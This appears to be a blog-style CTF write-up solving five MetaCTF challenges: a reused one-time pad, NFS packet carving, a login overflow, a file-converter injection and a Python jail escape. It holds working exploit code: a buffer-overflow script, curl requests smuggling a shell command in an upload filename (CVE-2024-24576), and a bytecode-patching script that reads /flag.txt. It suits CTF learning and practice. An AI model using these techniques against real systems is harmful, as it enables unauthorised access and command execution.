️🏴 MetaCTF May 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.

Details here: https://app.metactf.com/join/may2024.

A Tale of Two Ciphertexts

We intercepted some communications by an enemy cyber actor, and we believe it’s possible to break their encryption scheme. We know they’re using some form of a one-time pad, but fatally, they’re reusing the key across all their messages. We know the group likes classical books, with one of the actors recently being into Charles Dickens, but we don’t have much else to go off of.

Please break these communications to get the password they’ve sent each other!

This tool (or a similar one) might come in handy.

I definitely need to read up on “Crib Dragging” a little more as the behaviour isn’t quite what I’d expect.

That said, the suggested tool correctly decrypts the two provided ciphertexts; taking a wild guess at the Dickens work in question being A Tale of Two Cities turned out to be correct.

Grabbing the first two paragraphs of that book, courtesy of Project Gutenberg, reveals two results:

Great idea to use this XOR key to encrypt all of our communications, now it’s impossible to know what we’re talking about! I can tell you any secret in the world but since the XOR key is longer than any of our encrypted messages, it must be impossible to break, right? I do know one of my cybersecurity friends was telling me something about key reuse, but I’m sure that it’s fine. Anyway, let’s get to why I encrypt “Ú=u!o:v;’

~cw hhCtby7|1zæ this message in the first place. I’ll be sending you a zip file with our evil plans soon, it’s super critical that no one reads the contents, so I thought it would be wise to send the password separately. The password is MetaCTF{cr1b_dr4gg1ng_7h3_b00k_c1ph3r}. I’ll reach back out to you soon! PS: I sent the start of that book in the other message for you PPS: Oh and I couldn’t forget to put one of my favorite quotes: “Who controls the past controls the future. Who controls the present controls the past“’‡yg=‡äT BM—¾¨

Quite why each is suffixed/prefixed with garbage characters is some reading for another day.

Filesystem Folly

We captured network traffic of someone connecting to a file share on a server and writing to a few files.

The flag is in the flag.png file. Find it!

Hint: see if you can isolate the RPC requests that are responsible for writing files to the file system, and pull out the payload of the one that writes flag.png. Copy Bytes as Raw Binary might be helpful, but there are other valid approaches too.

The provided PCAP file appears to be NFS traffic; opening it in Wireshark:

  1. add a filter for nfs to strip some of the extraneous packets.
  2. there’s an OPEN DH: 0x49e23f3e/flag.png entry which is the target.
  3. the Data part of that packet starts with PNG which is promising.

Courtesy of Wireshark’s Reassembled TCP and Copy…As Raw Binary features, it’s possible to simply copy these data and paste the into a file-manager (Dolphin, in my case):

flag.png

Impossible Login

Making a cool MetaCTF MMO-RPG, so I wrote a very fast backdoor backend login server. I made sure no one can login as root.

nc host5.metaproblems.com 5045

Grab the binary here!

Looking at the binary in IDA, all the usernames/passwords are visible, including that for root: cant_guess_this.

However, it explicitly checks for a username of root and forbids authentication:

 nc host5.metaproblems.com 5045
Username: root
Root Login is NOT Allowed from this service

There’s a combination of a buffer-overflow via the use of scanf() in the main() function:

int main(unsigned long a0, unsigned long a1)
{
    unsigned long v0;  // [bp-0x68]
    unsigned int v1;  // [bp-0x5c]
    unsigned int v2;  // [bp-0x4c]
    char v3;  // [bp-0x48]
    char v4;  // [bp-0x28]

    v1 = a0;
    v0 = a1;
    setup();
    printf("Username: ");
    __isoc99_scanf("%s", (unsigned int)&v4);
    getchar();
    if (!strncmp(&v4, "root", 4))
    {
        puts("Root Login is NOT Allowed from this service");
        return 1;
    }
    printf("Password: ");
    __isoc99_scanf("%s", (unsigned int)&v3);
    getchar();
    v2 = login(&v4, strlen(&v4), &v3);
    return v2;
}

…and an invalid strncmp() use in the login() function:

int login(unsigned long a0, unsigned long a1, char *a2)
{
    unsigned int v0;  // [bp-0x1c]
    char *v1;  // [bp-0x18]
    char *v2;  // [bp-0x10]

    v0 = 0;
    while (true)
    {
        if (v0 > 23)
        {
            puts("Sorry, Username and Password combination not found");
            return 1;
        }
        v1 = *((long long *)&(&creds)[16 * v0]);
        v2 = *((long long *)&(&creds)[8 + 16 * v0]);
        if (!strncmp(v1, a0, strlen(v1)))
            break;
        v0 += 1;
    }
    if (strncmp(v2, a2, strlen(v2)))
    {
        puts("Sorry, Username and Password combination not found");
        return 1;
    }
    motd(a0, (unsigned int)a1);
    return 0;
}

The former can be used to overflow the password variable, overwriting the username variable. The latter ensures that as long as the password starts with the right value, it will be considered valid (effectively making this a TOCTOU bug as the username initially entered is ignored during the authentication check).

Not being quite sure how much to overflow, I tried:

from pwn import process


for i in range(1, 32):
    r = process("./logmein")

    r.recvuntil(b"Username: ")
    r.sendline(b"MetaCTF")

    r.recvuntil(b"Password: ")
    payload = b"cant_guess_this" + (b"X" * i) + b"root"
    print(payload.decode())
    r.sendline(payload)

    result = r.readline().decode()
    if "Welcome" in result:
        print(r.readline().decode())
        exit()

    r.close()

…which demonstrates the requisite amount:

 nc host5.metaproblems.com 5045
Username: metactf
Password: cant_guess_thisXXXXXXXXXXXXXXXXXroot
Welcome Back root
Here is your personalize flag: MetaCTF{P@ssw0rDS_r_0pti0n4l}

Conversion Perversion

I’m tired of all these file formats! I’m sick of using random websites to convert files, so I made my own. I’m not quite sure what I’m doing, and I’m certainly not a web designer, but at least the site seems to work!

Try out our service (alt link) and let us know what you think. Also feel free to audit my source code. (I can use the help!)

Please be kind to the server, file conversion is not a light process… ^^and do not use automated scanning tools against the web server.^^ They will not help. If your IP sends too many requests, you might see error 503.

There’s a notes.txt file in the provided ZIP:

 cat ConversionPerversion/notes.txt
Notes to self:
I updated all my tools, pandoc looks like it had a vulnerability maybe in the old version, but it seems patched now!
Also, I know I had some important file on the remote server, but I can't remember what I named it...

Which, somewhat obtusely, is hinting at a vulnerability…somewhere. The challenge, somewhat curiously, is using a .bat file which might be a push towards the recent, ridiculously-name BatBadBut, a.k.a. CVE-2024-24576.

The .bat file is in turn using PowerShell to call pandoc but the use of cmd.exe should—if the above CVE holds true—allow arbitrary commands to be injected into requests:

 curl http://fileconverter.mctf.io:7000/ \
    --form 'file=@/dev/null;filename="|dir>uploads/metactf.txt";type=text/plain' \
    --form 'output_format=json'
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Here, dir is used as it’s not actually clear where the flag is. Again, using the service to convert that new JSON file back to something legible:

 curl http://fileconverter.mctf.io:7000/ \
    --form 'file=@/dev/null;filename=metactf.json;type=text/plain' \
    --form 'output_format=markdown'
Volume in drive C has no label. Volume Serial Number is 8AA1-82A4

Directory of C:`\Challenge`{=tex}

05/24/2024 05:50 PM
<DIR>
. 05/23/2024 11:39 PM 4,463 app.py 05/25/2024 11:37 AM 130,733
conversion.log 05/24/2024 12:18 AM 624 convert.bat 05/25/2024 11:34 AM
<DIR>
downloads 05/23/2024 11:40 PM 45
MetaCTF{b4t_m4y_b3_b4d_bu7_c4nt_b3_c0nv3r73d}.txt 05/24/2024 05:50 PM
651 onetxt 05/23/2024 11:59 PM 39 start.bat 05/25/2024 11:32 AM 9
started.txt 05/23/2024 09:57 PM
<DIR>
templates 05/25/2024 11:35 AM
<DIR>

uploads 7 File(s) 136,564 bytes 4 Dir(s) 13,541,421,056 bytes free

Wizard Jail

You’ve been locked in a secure wizard jail, but the overworked guards forgot to take your magic wand away! Can you break out of your cell?

Download the jail plans here.

Connect to the challenge via nc host5.metaproblems.com 7650

Oh no, it’s another __code__ related Python challenge!

❯ python3 jail.py
Break out of the jail!

Choose an option:
  1) Use magic wand
  2) Mend magic wand

Enter 1 or 2:

Users are given two options; firstly cast a spell with the wand, taking arbitrary input which is passed through eval() (but only after a lot of coercing):

def magic_wand(spell):
    spell = "~" + spell[::-1]
    spell = spell[5:10:] + "~" + spell[:5:]
    spell += "~"
    return eval(spell + "]")

Or secondly, up to 5 attempts to modify the co_code value of magic_wand, taking an integer position and value, effectively allowing the function’s bytecode to be modified:

def mend(magic_wand, location, charm):
    co = magic_wand.__code__
    magic_wand.__code__ = CodeType(
        co.co_argcount,
        co.co_posonlyargcount,
        co.co_kwonlyargcount,
        co.co_nlocals,
        co.co_stacksize,
        co.co_flags,
        co.co_code[:location] + charm + co.co_code[location + 1 :],
        co.co_consts,
        co.co_names,
        co.co_varnames,
        co.co_filename,
        co.co_name,
        co.co_qualname,
        co.co_firstlineno,
        co.co_linetable,
        co.co_exceptiontable,
        co.co_freevars,
        co.co_cellvars,
    )
    return magic_wand

Looking at the bytecode for magic_wand, courtesy of dis:

>>> from jail import magic_wand
>>> import dis
>>> dis.dis(magic_wand)
  4           0 RESUME                   0

  5           2 LOAD_CONST               1 ('~')
              4 LOAD_FAST                0 (spell)
              6 LOAD_CONST               0 (None)
              8 LOAD_CONST               0 (None)
             10 LOAD_CONST               2 (-1)
             12 BUILD_SLICE              3
             14 BINARY_SUBSCR
             24 BINARY_OP                0 (+)
             28 STORE_FAST               0 (spell)

  6          30 LOAD_FAST                0 (spell)
             32 LOAD_CONST               3 (5)
             34 LOAD_CONST               4 (10)
             36 BUILD_SLICE              2
             38 BINARY_SUBSCR
             48 LOAD_CONST               1 ('~')
             50 BINARY_OP                0 (+)
             54 LOAD_FAST                0 (spell)
             56 LOAD_CONST               0 (None)
             58 LOAD_CONST               3 (5)
             60 BUILD_SLICE              2
             62 BINARY_SUBSCR
             72 BINARY_OP                0 (+)
             76 STORE_FAST               0 (spell)

  7          78 LOAD_FAST                0 (spell)
             80 LOAD_CONST               1 ('~')
             82 BINARY_OP               13 (+=)
             86 STORE_FAST               0 (spell)

  8          88 LOAD_GLOBAL              1 (NULL + eval)
            100 LOAD_FAST                0 (spell)
            102 LOAD_CONST               5 (']')
            104 BINARY_OP                0 (+)
            108 PRECALL                  1
            112 CALL                     1
            122 RETURN_VALUE

See the docs. for dis for a breakdown of each instruction.

After some attempt to try and determine how to rewrite open("/flag.txt").read()# (the trailing # is there to comment-out the immovable ] passed into the eval()) such that it comes out of magic_wand correctly and failing miserably, the quickest way seems to be to simply JUMP_FORWARD, bypassing all that silliness entirely. Specifically, according to the above, it needs to jump 29 bytes:

import dis

from pwn import process, remote


r = remote("host5.metaproblems.com", 7650)

r.recvuntil(b"Enter 1 or 2: ")
r.sendline(b"2")

r.recvuntil(b"you'd like to mend (an integer): ")
r.sendline(b"2")

r.recvuntil(b"you'd like to use (an integer): ")
r.sendline(dis.opmap["JUMP_FORWARD"].encode())

r.recvuntil(b"Enter 1 or 2: ")
r.sendline(b"2")

r.recvuntil(b"you'd like to mend (an integer): ")
r.sendline(b"3")

r.recvuntil(b"you'd like to use (an integer): ")
r.sendline(b"29")

r.recvuntil(b"Enter 1 or 2: ")
r.sendline(b"1")

r.recvuntil(b"Enter your spell: ")
r.sendline(b"open('/flag.txt').read()#")

response = r.recvuntil(b"Enter 1 or 2:").decode()

print(response.strip().splitlines()[0])
r.close()

…and running that:

 ./jail.py
[+] Opening connection to host5.metaproblems.com on port 7650: Done
Spell worked! The ancient voices whisper back: 'MetaCTF{good_luck_escaping_th3_guards}'
[*] Closed connection to host5.metaproblems.com port 7650